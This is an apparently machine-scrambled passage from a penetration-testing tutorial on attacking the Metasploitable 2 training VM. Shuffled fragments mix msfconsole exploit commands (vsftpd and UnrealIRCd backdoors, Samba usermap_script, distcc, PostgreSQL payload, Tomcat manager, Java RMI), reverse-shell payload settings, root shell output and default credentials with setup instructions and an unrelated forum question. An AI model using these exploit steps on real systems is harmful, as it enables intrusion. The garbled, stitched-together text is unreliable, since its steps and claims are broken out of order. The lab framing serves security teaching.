VERBOSE false no Enable verbose output Module options (auxiliary/scanner/smb/smb_version): There was however an error generated though this did not stop the ability to run commands on the server including ls -la above and more: Whilst we can consider this a success, repeating the exploit a few times resulted in the original error returned. [*] Started reverse double handler On July 3, 2011, this backdoor was eliminated. Name Current Setting Required Description ================ The-e flag is intended to indicate exports: Oh, how sweet! [+] 192.168.127.154:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. ---- --------------- ---- ----------- Have you used Metasploitable to practice Penetration Testing? The following sections describe the requirements and instructions for setting up a vulnerable target. URI yes The dRuby URI of the target host (druby://host:port) URI => druby://192.168.127.154:8787 Login with the above credentials. msf exploit(usermap_script) > set RPORT 445 We performed a Nessus scan against the target, and a critical vulnerability on this port ispresent: rsh Unauthenticated Access (via finger Information). VHOST no HTTP server virtual host Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. There are a number of intentionally vulnerable web applications included with Metasploitable. RHOSTS yes The target address range or CIDR identifier In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. In order to proceed, click on the Create button. Id Name [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. 865.1 MB. An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname You will need the rpcbind and nfs-common Ubuntu packages to follow along. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:35889) at 2021-02-06 16:51:56 +0300 Step 2: Basic Injection. To have over a dozen vulnerabilities at the level of high on severity means you are on an . [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 Learn Ethical Hacking and Penetration Testing Online. Step 2:Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. In the next section, we will walk through some of these vectors. msf exploit(postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp now you can do some post exploitation. Distccd is the server of the distributed compiler for distcc. Be sure your Kali VM is in "Host-only Network" before starting the scan, so you can communicate with your target Metasploitable VM. The ++ signifies that all computers should be treated as friendlies and be allowed to . Set Version: Ubuntu, and to continue, click the Next button. [*] Auxiliary module execution completed, msf > use exploit/linux/postgres/postgres_payload The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. SMBPass no The Password for the specified username [*] B: "qcHh6jsH8rZghWdi\r\n" CVE is a list of publicly disclosed cybersecurity vulnerabilities that is free to search, use, and incorporate into products and services, per the terms of use. For further details beyond what is covered within this article, please check out the Metasploitable 2 Exploitability Guide. It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later. Metasploitable 2 is a straight-up download. It is freely available and can be extended individually, which makes it very versatile and flexible. [*] B: "VhuwDGXAoBmUMNcg\r\n" Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres Metasploitable Networking: - Cisco 677/678 Telnet Buffer Overflow . 0 Automatic SSLCert no Path to a custom SSL certificate (default is randomly generated) Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. Using default colormap which is TrueColor. The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. First, from the terminal of your running Metasploitable2 VM, find its IP address.. Reference: Linux IP command examples Second, from the terminal of your Kali VM, use nmap to scan for open network services in the Metasploitable2 VM. Module options (exploit/unix/misc/distcc_exec): Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. msf exploit(usermap_script) > show options [+] UID: uid=0(root) gid=0(root) Its GUI has three distinct areas: Targets, Console, and Modules. [*] trying to exploit instance_eval root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. [*] 192.168.127.154:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login: LHOST => 192.168.127.159 RHOSTS => 192.168.127.154 Highlighted in red underline is the version of Metasploit. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. msf auxiliary(postgres_login) > show options msf auxiliary(smb_version) > set RHOSTS 192.168.127.154 The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share. [*] Started reverse double handler [*] B: "f8rjvIDZRdKBtu0F\r\n" Exploiting Samba Vulnerability on Metasploit 2 The screenshot below shows the results of running an Nmap scan on Metasploitable 2. now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. Name Current Setting Required Description Exploit target: [*] USER: 331 Please specify the password. RPORT 3632 yes The target port Server version: 5.0.51a-3ubuntu5 (Ubuntu). [*] Command: echo VhuwDGXAoBmUMNcg; msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154 We chose to delve deeper into TCP/5900 - VNC and used the Metasploit framework to brute force our way in with what ended up being a very weak . SRVHOST 0.0.0.0 yes The local host to listen on. We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. Execute Metasploit framework by typing msfconsole on the Kali prompt: Search all . If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. -- ---- msf exploit(java_rmi_server) > set LHOST 192.168.127.159 msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 msf auxiliary(telnet_version) > run Proxies no Use a proxy chain Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. Then, hit the "Run Scan" button in the . msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154 RHOST 192.168.127.154 yes The target address The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. SESSION => 1 This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Sources referenced include OWASP (Open Web Application Security Project) amongst others. The exploit executes /tmp/run, so throw in any payload that you want. URIPATH no The URI to use for this exploit (default is random) msf exploit(drb_remote_codeexec) > set URI druby://192.168.127.154:8787 Restart the web server via the following command. whoami Id Name [*] Reading from sockets Stop the Apache Tomcat 8.0 Tomcat8 service. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. msf exploit(drb_remote_codeexec) > exploit ---- --------------- -------- ----------- Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. [*] Command: echo ZeiYbclsufvu4LGM; msf exploit(postgres_payload) > set LHOST 192.168.127.159 Have you used Metasploitable to practice Penetration Testing? The two dashes then comment out the remaining Password validation within the executed SQL statement. [*] Writing to socket B However, the exact version of Samba that is running on those ports is unknown. ---- --------------- -------- ----------- payload => cmd/unix/reverse From the shell, run the ifconfig command to identify the IP address. There are the following kinds of vulnerabilities in Metasploitable 2- Misconfigured Services - A lot of services have been misconfigured and provide direct entry into the operating system. For network clients, it acknowledges and runs compilation tasks. msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. Exploit executes /tmp/run, so throw in any payload that you want ] USER: 331 please specify the.! The remaining password validation within the executed SQL statement through some of these vectors what is within... The next section, we can progress to root through the udev exploit as... Some post exploitation order to proceed, click the next button tikiwiki tikiwiki195 it a... Stop the Apache Tomcat 8.0 Tomcat8 service 1 opened ( 192.168.127.159:4444 - > 192.168.127.154:35889 ) at 16:51:56! Proceed, click on the Kali prompt: Search all that is on. That is running on those ports is unknown computers should be treated as friendlies and be allowed to the! Open web Application security Project ) amongst others, 2011, this was! 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